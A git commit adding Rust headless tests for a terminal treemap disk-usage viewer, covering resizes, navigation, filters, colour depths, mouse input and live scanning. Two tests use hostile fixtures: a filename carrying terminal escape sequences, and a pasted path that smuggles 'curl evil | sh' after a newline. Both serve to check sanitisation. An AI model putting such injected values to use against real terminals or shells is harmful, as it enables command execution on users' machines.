rust: tui (canvas renderer, views, modals, crossterm event loop)

Port of internal/tui. Bubble Tea's message loop is replaced by a
crossterm input thread, timers and background commands feeding one
loop; the frame cache, canvas, colour quantisation, LOD treemap,
selection persistence and modal architecture are kept. Frames are
diffed against the previous one per line and per style run.
Exposes tui::bench::BenchModel and big_tree for benchmarks.
This commit is contained in:
Andy Dixon
2026-10-08 17:44:53 +01:00
parent c0283a19a9
commit 61a444795b
22 changed files with 5918 additions and 0 deletions
+513
View File
@@ -0,0 +1,513 @@
//! Headless model tests (ports of tui_test.go, nest_test.go, live_test.go).
use super::bench::opts_for;
use super::color256::{quant16, quant256};
use super::canvas::rgb;
use super::mapview::TOP_MIN_AREA;
use super::model::*;
use super::modals::new_info_modal;
use crate::cancel::Cancel;
use crate::inventory::{category_for, ext, Kind, NodeId, Tree, FLAG_SCANNED};
use crate::scan;
use crate::textutil;
use crate::treemap::Block;
use std::os::unix::ffi::OsStrExt;
use std::sync::{Arc, RwLock};
use std::time::{Duration, Instant};
const HOSTILE: &[u8] = b"evil\x1b]0;pwned\x07\x1b[2J.iso";
fn add_file(t: &mut Tree, p: NodeId, name: &[u8], size: i64) -> NodeId {
let id = t.add(p, name, Kind::File);
let n = t.node_mut(id);
(n.size, n.alloc) = (size, size);
n.cat = category_for(&ext(name), false, false);
id
}
fn add_dir(t: &mut Tree, p: NodeId, name: &[u8]) -> NodeId {
let id = t.add(p, name, Kind::Dir);
t.node_mut(id).flags |= FLAG_SCANNED;
id
}
fn test_tree() -> Tree {
let mut t = Tree::new(b"/srv", Kind::Dir);
let file = |t: &mut Tree, p, name: &[u8], size| {
let id = add_file(t, p, name, size);
t.node_mut(id).mtime = 1_700_000_000_000_000_000;
};
let backups = add_dir(&mut t, 0, b"backups");
for i in 0..40i64 {
file(&mut t, backups, format!("dump-{i:02}.tar.gz").as_bytes(), (1 + i) << 30);
}
let vms = add_dir(&mut t, 0, b"vms");
file(&mut t, vms, b"ubuntu.qcow2", 86 << 30);
file(&mut t, vms, b"win.vmdk", 40 << 30);
let media = add_dir(&mut t, 0, b"media");
let photos = add_dir(&mut t, media, "photos 日本語".as_bytes());
for i in 0..300i64 {
file(&mut t, photos, format!("img{i:03}.jpg").as_bytes(), (i + 1) << 20);
}
file(&mut t, media, HOSTILE, 9 << 30);
file(&mut t, media, "👨‍👩‍👧 family.mp4".as_bytes(), 12 << 30);
let tiny = add_dir(&mut t, 0, b"tiny");
for i in 0..2000 {
file(&mut t, tiny, format!("f{i}").as_bytes(), 100);
}
file(&mut t, 0, b"README", 10);
t.recompute();
t.stats.complete = true;
t
}
fn model_for(t: Tree) -> Model {
let tr = Arc::new(RwLock::new(t));
let mut m = Model::new(opts_for(tr.clone()), None, tr, Cancel::new());
m.profile = Profile::TrueColor;
m
}
fn new_test_model() -> Model {
model_for(test_tree())
}
fn send(m: &mut Model, msgs: Vec<Msg>) {
for msg in msgs {
m.update(msg);
}
}
fn key(s: &str) -> Msg {
Msg::Key(Key::from_name(s))
}
fn size(w: i32, h: i32) -> Msg {
Msg::Size(w, h)
}
/// Removes CSI sequences.
fn strip(s: &str) -> String {
let mut out = String::with_capacity(s.len());
let mut it = s.chars();
while let Some(c) = it.next() {
if c == '\x1b' && it.clone().next() == Some('[') {
it.next();
for c in it.by_ref() {
if ('\x40'..='\x7e').contains(&c) {
break;
}
}
continue;
}
out.push(c);
}
out
}
/// Verifies the rendered frame exactly fills w×h cells and that no filename
/// control sequence leaked through.
fn check_frame(m: &mut Model, w: i32, h: i32) -> String {
let content = m.view().to_string();
assert!(
!content.contains("\x1b]") && !content.contains('\x07') && !content.contains("\x1b[2J"),
"terminal control sequence from a filename leaked into the frame"
);
let lines: Vec<&str> = content.split('\n').collect();
assert_eq!(lines.len() as i32, h, "{w}x{h}: frame has {} lines", lines.len());
for (i, l) in lines.iter().enumerate() {
let got = textutil::width(&strip(l)) as i32;
assert_eq!(got, w, "{w}x{h}: line {i} has width {got}: {:?}", strip(l));
}
strip(&content)
}
fn find(m: &Model, name: &[u8]) -> NodeId {
let t = m.tree.read().unwrap();
let mut found = None;
t.walk(0, |id, n| {
if &*n.name == name {
found = Some(id);
}
true
});
found.expect("node not found")
}
fn find_block(bs: &[Block], id: i64) -> Block {
bs.iter().copied().find(|b| b.id == id).unwrap_or(Block { id: 0, rect: Default::default() })
}
#[test]
fn resize_transitions_preserve_state() {
let mut m = new_test_model();
send(&mut m, vec![size(120, 40)]);
check_frame(&mut m, 120, 40);
// Zoom into media and select something that is not the default.
let media = find(&m, b"media");
(m.sel, m.user_sel) = (media as i64, true);
send(&mut m, vec![key("space")]);
assert_eq!(m.zoom, media);
check_frame(&mut m, 120, 40);
send(&mut m, vec![key("right")]);
let sel = m.sel;
for (w, h) in [(80, 24), (120, 40), (300, 80), (70, 20), (180, 50), (40, 10), (39, 9), (200, 60)] {
send(&mut m, vec![size(w, h)]);
check_frame(&mut m, w, h);
assert_eq!(m.zoom, media, "{w}x{h}: zoom lost");
assert!(m.sel == sel || is_group(m.sel), "{w}x{h}: selection changed from {sel} to {}", m.sel);
}
// The layout must be recomputed for the new geometry, not stretched.
let l = m.tm.clone().unwrap();
assert!(l.rect.w <= 200 && l.rect.h <= 60, "layout not recomputed for final size: {:?}", l.rect);
let r = l.rect;
for b in &l.blocks {
let br = b.rect;
assert!(br.x >= r.x && br.y >= r.y && br.x + br.w <= r.x + r.w && br.y + br.h <= r.y + r.h, "block {b:?} outside treemap {r:?}");
}
}
#[test]
fn resize_storm() {
let mut m = new_test_model();
let mut rnd = 1u64;
let mut intn = |n: u64| {
rnd = rnd.wrapping_mul(6364136223846793005).wrapping_add(1442695040888963407);
(rnd >> 33) % n
};
send(&mut m, vec![size(120, 40)]);
m.view();
send(&mut m, vec![key("right"), key("down")]);
let sel = m.sel;
for i in 0..300 {
let (w, h) = (20 + intn(300) as i32, 5 + intn(90) as i32);
send(&mut m, vec![size(w, h)]);
if i % 7 == 0 {
m.view(); // renders interleave with resizes like the real event loop
}
}
send(&mut m, vec![size(150, 45)]);
check_frame(&mut m, 150, 45);
assert_eq!(m.sel, sel, "selection lost in resize storm");
}
#[test]
fn modal_survives_resize() {
let mut m = new_test_model();
send(&mut m, vec![size(120, 40), key("enter")]);
assert_eq!(m.modals.len(), 1, "Enter should open the info modal");
for (w, h) in [(120, 40), (60, 14), (41, 10), (300, 80), (45, 12)] {
send(&mut m, vec![size(w, h)]);
let out = check_frame(&mut m, w, h);
assert!(out.contains("ITEM INFORMATION"), "{w}x{h}: modal title missing:\n{out}");
let f = &m.modals[0];
assert!(f.view_h >= 1 && f.view_h <= h, "{w}x{h}: modal viewport {}", f.view_h);
}
// Scrolling in a tiny terminal must stay in range.
send(&mut m, vec![size(45, 12)]);
for _ in 0..100 {
send(&mut m, vec![key("down")]);
}
check_frame(&mut m, 45, 12);
let f = &m.modals[0];
assert!(f.scroll >= 0 && f.scroll <= f.content_n, "scroll out of range: {} of {}", f.scroll, f.content_n);
send(&mut m, vec![key("esc")]);
assert!(m.modals.is_empty(), "Esc should close the modal");
}
#[test]
fn spatial_navigation_uses_geometry() {
let mut m = new_test_model();
send(&mut m, vec![size(160, 45)]);
m.view();
let blocks = m.tm.clone().unwrap().blocks.clone();
for dir in ["right", "down", "left", "up"] {
let before = m.sel;
send(&mut m, vec![key(dir)]);
m.view();
if m.sel == before {
continue; // edge of the map
}
let (a, b) = (find_block(&blocks, before).rect, find_block(&blocks, m.sel).rect);
let ok = match dir {
"right" => b.x >= a.x + a.w,
"left" => b.x + b.w <= a.x,
"down" => b.y >= a.y + a.h,
_ => b.y + b.h <= a.y,
};
assert!(ok, "{dir} moved to a block that is not in that direction: {a:?} -> {b:?}");
}
}
#[test]
fn zoom_breadcrumbs_and_home() {
let mut m = new_test_model();
send(&mut m, vec![size(100, 30)]);
let media = find(&m, b"media");
let photos = find(&m, "photos 日本語".as_bytes());
(m.sel, m.user_sel) = (media as i64, true);
send(&mut m, vec![key("space")]);
m.sel = photos as i64;
send(&mut m, vec![key("space")]);
assert_eq!(m.zoom, photos, "did not zoom into photos");
let out = check_frame(&mut m, 100, 30);
assert!(out.contains("media › photos 日本語"), "breadcrumbs missing:\n{out}");
// Narrow terminal: breadcrumbs truncate from the left, keeping the tail.
send(&mut m, vec![size(42, 12)]);
let out = check_frame(&mut m, 42, 12);
assert!(out.contains("photos"), "breadcrumb tail missing:\n{out}");
send(&mut m, vec![key("backspace")]);
assert!(m.zoom == media && m.sel == photos as i64, "backspace: zoom {} sel {}", m.zoom, m.sel);
send(&mut m, vec![key("home")]);
assert_eq!(m.zoom, 0, "home did not return to root");
}
#[test]
fn filter_transforms_map() {
let mut m = new_test_model();
send(&mut m, vec![size(120, 40), key("/")]);
for c in "ext = gz".chars() {
send(&mut m, vec![Msg::Key(Key { name: c.to_string(), text: c.to_string(), ctrl_alt: false })]);
}
assert!(m.search.err.is_empty() && m.search.query.is_some(), "query not parsed: {:?}", m.search.err);
let msgs = m.apply_filter().run_sync();
send(&mut m, msgs);
send(&mut m, vec![key("enter")]);
assert!(m.search.result.is_some(), "no filter result");
let out = check_frame(&mut m, 120, 40);
assert!(!out.contains("vms/") && out.contains("backups/"), "filter not applied to the map:\n{out}");
assert!(out.contains("FILTER"), "filter indicator missing");
send(&mut m, vec![key("esc")]);
assert!(m.search.query.is_none() && m.search.result.is_none(), "Esc should clear the filter");
let out = check_frame(&mut m, 120, 40);
assert!(out.contains("vms/"), "map not restored after clearing filter:\n{out}");
}
#[test]
fn hostile_name_sanitised_in_modal() {
let mut m = new_test_model();
send(&mut m, vec![size(120, 40)]);
let id = find(&m, HOSTILE);
let t = m.tree.clone();
let md = new_info_modal(&m, &t.read().unwrap(), id);
m.open_modal(md);
let out = check_frame(&mut m, 120, 40);
assert!(out.contains(r"\x1b]0;pwned\x07"), "escaped name not shown:\n{out}");
}
#[test]
fn views_render_at_many_sizes() {
let mut m = new_test_model();
for _ in 0..m.views.len() {
for (w, h) in [(40, 10), (80, 24), (150, 45), (91, 22)] {
send(&mut m, vec![size(w, h)]);
check_frame(&mut m, w, h);
send(&mut m, vec![key("down"), key("down")]);
check_frame(&mut m, w, h);
}
send(&mut m, vec![key("tab")]);
}
send(&mut m, vec![key("?")]);
send(&mut m, vec![size(60, 15)]);
check_frame(&mut m, 60, 15);
}
#[test]
fn level_of_detail_groups_tiny_files() {
let mut m = new_test_model();
send(&mut m, vec![size(100, 30)]);
let tiny = find(&m, b"tiny");
let t = m.tree.clone();
m.zoom_to(&t.read().unwrap(), tiny);
m.view();
let l = m.tm.clone().unwrap();
assert!(l.blocks.len() as i32 <= 100 * 30 / TOP_MIN_AREA + 1, "{} blocks for 2000 equal files: LOD not applied", l.blocks.len());
assert!(l.groups.contains_key(&group_id(tiny)), "expected a group block for small items");
}
#[test]
fn ctrl_c_quits_when_idle() {
let mut m = new_test_model();
send(&mut m, vec![size(80, 24)]);
m.update(Msg::Key(Key { name: "ctrl+c".into(), text: String::new(), ctrl_alt: true }));
assert!(m.quit, "Ctrl+C should quit when no scan runs");
}
#[test]
fn mouse() {
let mut m = new_test_model();
send(&mut m, vec![size(120, 40)]);
m.view();
// Click the centre of a block other than the selected one.
let target = {
let t = m.tree.read().unwrap();
m.tm.as_ref().unwrap().blocks.iter().copied()
.find(|b| b.id != m.sel && b.id >= 0 && t.node(b.id as NodeId).is_dir() && b.rect.w > 4)
.unwrap()
};
let click = || Msg::Click { x: target.rect.x + target.rect.w / 2, y: target.rect.y + target.rect.h / 2, button: Button::Left };
send(&mut m, vec![click()]);
assert_eq!(m.sel, target.id, "click selected the wrong block");
m.view();
send(&mut m, vec![click()]); // second click within the double-click window
assert_eq!(m.zoom as i64, target.id, "double click should zoom");
m.view();
send(&mut m, vec![Msg::Wheel { x: 50, y: 20, up: false }]);
assert_eq!(m.zoom, 0, "wheel down should zoom out");
// A modal swallows clicks; clicking outside closes it.
send(&mut m, vec![key("?")]);
m.view();
send(&mut m, vec![Msg::Click { x: 0, y: 39, button: Button::Left }]);
assert!(m.modals.is_empty(), "click outside modal should close it");
}
#[test]
fn quantizers() {
assert_eq!(quant16(rgb(10, 12, 8)), 0, "near-black should map to black");
let n = quant16(rgb(0xe0, 0x6c, 0x75));
assert!(n == 1 || n == 9, "red-ish mapped to {n}");
let n = quant256(rgb(40, 48, 30));
assert!(n >= 16, "256 quantizer used palette-dependent index {n}");
// A dark, slightly tinted shade must land on the grey ramp or a dark
// cube entry, not a saturated one like olive (58) or navy (17).
assert!(![58, 17, 22].contains(&n), "dark tint mapped to saturated {n}");
}
#[test]
fn colour_depths_render_same_geometry() {
for p in [Profile::TrueColor, Profile::Ansi256, Profile::Ansi, Profile::Ascii] {
let mut m = new_test_model();
m.profile = p;
send(&mut m, vec![size(100, 30)]);
check_frame(&mut m, 100, 30);
}
}
// A filename with a newline would run commands when pasted into a shell.
#[test]
fn copy_refuses_control_characters() {
let mut m = new_test_model();
m.copy_path(b"/srv/x\ncurl evil | sh\n");
assert!(m.toast.starts_with("Not copied"), "hostile path copied: {:?}", m.toast);
m.copy_path(&[b"/srv/media/".as_slice(), HOSTILE].concat());
assert!(m.toast.starts_with("Not copied"), "escape sequence copied: {:?}", m.toast);
m.copy_path("/srv/photos 日本語/img001.jpg".as_bytes());
assert!(m.toast.starts_with("Copied"), "plain path refused: {:?}", m.toast);
}
// ---- nest_test.go -----------------------------------------------------------
fn root_tree() -> Tree {
let mut t = Tree::new(b"/", Kind::Dir);
let mnt = add_dir(&mut t, 0, b"mnt");
let raid = add_dir(&mut t, mnt, b"raid");
let media = add_dir(&mut t, raid, b"media");
for show in ["X-Files", "Simpsons", "Frasier"] {
let s = add_dir(&mut t, media, show.as_bytes());
for i in 1..=5 {
let se = add_dir(&mut t, s, format!("S{i:02}").as_bytes());
for e in 1..=20i64 {
add_file(&mut t, se, format!("E{e:02}.mkv").as_bytes(), e << 28);
}
}
}
let usr = add_dir(&mut t, 0, b"usr");
let lib = add_dir(&mut t, usr, b"lib");
for i in 0..50i64 {
add_file(&mut t, lib, format!("lib{i}.so").as_bytes(), (i + 1) << 22);
}
let v = add_dir(&mut t, 0, b"var");
let log = add_dir(&mut t, v, b"log");
add_file(&mut t, log, b"syslog", 2 << 30);
t.recompute();
t.stats.complete = true;
t
}
// A single-child chain (mnt → raid → media) must not use up the nesting
// budget: the map at / should reach the seasons and their episodes.
#[test]
fn nesting_reaches_deep_media() {
let mut m = model_for(root_tree());
send(&mut m, vec![size(160, 45)]);
let out = strip(m.view());
assert!(out.contains("mnt/raid/media/") && out.contains("S01/"), "chain or seasons missing:\n{out}");
let t = m.tree.read().unwrap();
let files = m.tm.as_ref().unwrap().nested.iter().filter(|nb| nb.id >= 0 && !t.node(nb.id as NodeId).is_dir()).count();
assert!(files >= 50, "only {files} episode blocks drawn");
}
// Headless, o shows the selected folder in the map instead of launching a
// file manager.
#[test]
fn reveal_headless_zooms_map() {
std::env::set_var("DISPLAY", "");
std::env::set_var("WAYLAND_DISPLAY", "");
let mut m = model_for(root_tree());
send(&mut m, vec![size(160, 45)]);
let mnt = {
let t = m.tree.clone();
let g = t.read().unwrap();
m.kids_of(&g, m.zoom).ids[0]
};
m.snapshot = false; // reveal is refused for snapshots
(m.sel, m.user_sel) = (mnt as i64, true);
send(&mut m, vec![key("o")]);
assert_eq!(m.zoom, mnt, "zoom = {}, want mnt", m.tree.read().unwrap().path_string(m.zoom));
}
// ---- live_test.go -----------------------------------------------------------
/// Renders, navigates, filters and resizes while the scanner mutates the
/// inventory, verifying the locking discipline.
#[test]
fn live_scan_rendering() {
let root = scan::tests::TempDir::new("tui-live");
for i in 0..30 {
let d = root.0.join(format!("d{i:02}")).join("sub");
std::fs::create_dir_all(&d).unwrap();
for j in 0..40 {
std::fs::write(d.join(format!("f{j}.log")), vec![0u8; (i + 1) * (j + 1) * 100]).unwrap();
}
}
let path = root.0.as_os_str().as_bytes().to_vec();
let start: StartFn = Arc::new(move |c: Cancel| {
let s = scan::start(&path, scan::Options { workers: 4, chunk_size: 3, ..Default::default() }, c)?;
let t = s.tree.clone();
Ok((Some(s), t))
});
let cancel = Cancel::new();
let (s, tr) = start(cancel.clone()).unwrap();
let mut opts = opts_for(tr.clone());
opts.start = start;
let mut m = Model::new(opts, s, tr, cancel.clone());
let sizes = [(120, 40), (80, 24), (200, 60), (45, 12)];
let deadline = Instant::now() + Duration::from_secs(20);
let mut i = 0;
loop {
let (w, h) = sizes[i % sizes.len()];
send(&mut m, vec![size(w, h), Msg::Tick]);
send(&mut m, vec![key(["right", "down", "left", "up"][i % 4])]);
if i % 5 == 0 {
send(&mut m, vec![key("tab")]);
}
if i == 3 {
m.search.ed.set("ext = log");
let _ = m.query_changed();
let msgs = m.apply_filter().run_sync();
send(&mut m, msgs);
}
m.dirty = true;
m.view();
if m.scanner.as_ref().unwrap().is_done() {
let t = m.tree.clone();
send(&mut m, vec![Msg::ScanDone(t)]);
m.view();
assert!(!m.scanning, "scan should be finished");
break;
}
assert!(Instant::now() < deadline, "scan did not finish");
i += 1;
}
cancel.cancel();
}